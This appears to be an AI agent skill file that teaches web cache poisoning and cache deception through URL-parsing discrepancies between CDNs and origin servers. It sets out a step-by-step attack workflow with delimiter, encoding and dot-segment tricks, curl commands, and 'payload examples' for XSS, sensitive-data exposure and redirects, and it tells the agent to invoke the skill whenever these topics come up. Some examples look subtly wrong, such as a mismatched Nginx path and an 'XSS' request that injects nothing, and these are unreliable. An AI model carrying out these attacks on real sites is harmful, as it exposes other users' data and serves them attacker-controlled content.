| name | cache-poisoning-url-discrepancies |
| description | How to perform cache poisoning attacks by exploiting URL parsing discrepancies between cache proxies and web servers. Use this skill whenever the user mentions cache poisoning, CDN vulnerabilities, URL parsing issues, proxy discrepancies, or wants to test for cache-related security issues. This skill helps identify when cache servers and origin servers interpret URLs differently, allowing attackers to poison caches with malicious content. |
Cache Poisoning via URL Discrepancies
This skill helps you perform cache poisoning attacks by exploiting discrepancies between how cache proxies and web servers parse and normalize URLs.
Core Concept
The goal is to make the cache server think a static resource is being loaded so it caches the response, while the cache key differs from what the origin server actually resolves. This allows you to:
- Cache dynamic responses (containing sensitive user data)
- Inject malicious payloads (XSS, redirects)
- Serve attacker-controlled content to other users
Attack Methodology
Step 1: Identify URL Delimiters
Different frameworks and servers use different delimiters that can be exploited:
| Delimiter | Framework/Server | Example |
|---|
; (semicolon) | Spring | /hello;var=a/world → /hello/world |
. (dot) | Ruby on Rails | /MyAccount.css → /MyAccount |
%00 (null byte) | OpenLiteSpeed | /MyAccount%00aaa → /MyAccount |
%0a (newline) | Nginx | /users/MyAccount%0aaaa → /account/MyAccount |
Testing Process:
- Identify non-cacheable requests to monitor URL handling
- Append random suffixes to paths and compare responses
- Introduce potential delimiters before the suffix to see if responses change
Step 2: Test Encoding Discrepancies
Cache and origin servers decode URLs differently. Test by:
- Load a path without encoding and note the response
- Send the same path with URL-encoded characters
- Check if the encoded path response came from cache
Example:
- Request
/myAccount%3Fparam (where %3F = ?)
- If cache stores
/myAccount%3Fparam but origin resolves /myAccount?param, you have a discrepancy
Step 3: Test Dot Segment Normalization
Some servers normalize dot segments differently:
/static/../home/index might be cached as-is
- Origin might resolve it to
/home/index
Test patterns:
/static/../home/index
/aaa..\home/index
/static/..%2Fhome (URL-encoded forward slash)
/static/..%5Chome (URL-encoded backslash)
Step 4: Exploit Static Resource Caching
Many CDNs always cache certain file types and directories:
Cloudflare always caches these extensions:
7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst,
avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin,
ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps,
jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac,
mid, pls, tar, xlsx
Well-known static directories:
/static, /assets, /wp-content, /media, /templates, /public, /shared
Always-cached files:
/robots.txt, /favicon.ico, /index.html
Exploitation patterns:
-
Delimiter + static extension:
- Request:
/home$image.png
- Cache stores:
/home$image.png
- Origin responds:
/home
-
Static directory + dots:
- Request:
/home/..%2fstatic/something
- Cache stores:
/static/something
- Origin responds:
/home
-
Static file + dots:
- Request:
/home/..%2Frobots.txt
- Cache stores:
/robots.txt
- Origin responds:
/home
Practical Testing Workflow
1. Reconnaissance
whois example.com
2. Cache Detection
curl -I https://example.com/test
3. Delimiter Testing
curl "https://example.com/home;test=value"
curl "https://example.com/home.test"
curl "https://example.com/home%00test"
curl "https://example.com/home%0atest"
4. Encoding Testing
curl "https://example.com/home%3Fparam=value"
curl "https://example.com/home%253Fparam=value"
curl "https://example.com/home%25253Fparam=value"
5. Static Resource Testing
curl "https://example.com/admin$image.png"
curl "https://example.com/admin/..%2Fstatic/test.js"
curl "https://example.com/admin/..%2Frobots.txt"
Payload Examples
XSS Injection
curl "https://example.com/home/..%2Fstatic/malicious.js" \
-H "X-Forwarded-For: <victim-ip>"
Sensitive Data Exposure
curl "https://example.com/user/profile$image.png"
Redirect Attack
curl "https://example.com/login/..%2Fstatic/redirect.js"
Verification
After attempting cache poisoning:
- Check cache headers - Look for
X-Cache: HIT or CF-Cache-Status: HIT
- Request from different IP - See if you get the poisoned response
- Check cache key - Use browser dev tools or proxy to see what's cached
- Compare responses - Ensure the cached response differs from what origin would normally serve
Common Targets
- Applications behind Cloudflare, CloudFront, Fastly, Akamai
- Sites with mixed static/dynamic content
- Applications with user-specific data in URLs
- Sites with authentication bypass potential
Mitigation Indicators
If you see these, the target may be protected:
- Strict cache key configuration
- No caching of dynamic content
- Proper URL normalization on both cache and origin
- Cache bypass headers for authenticated requests
Tools
- Burp Suite - For intercepting and modifying requests
- curl - For quick testing
- Custom scripts - For automated delimiter/encoding testing
- Browser DevTools - For inspecting cache headers
Important Notes
- Always get proper authorization before testing
- Document findings carefully for bug bounty reports
- Some discrepancies may be intentional (e.g., for A/B testing)
- False positives are common - verify by testing from different IPs
- Cache behavior can vary by region and CDN configuration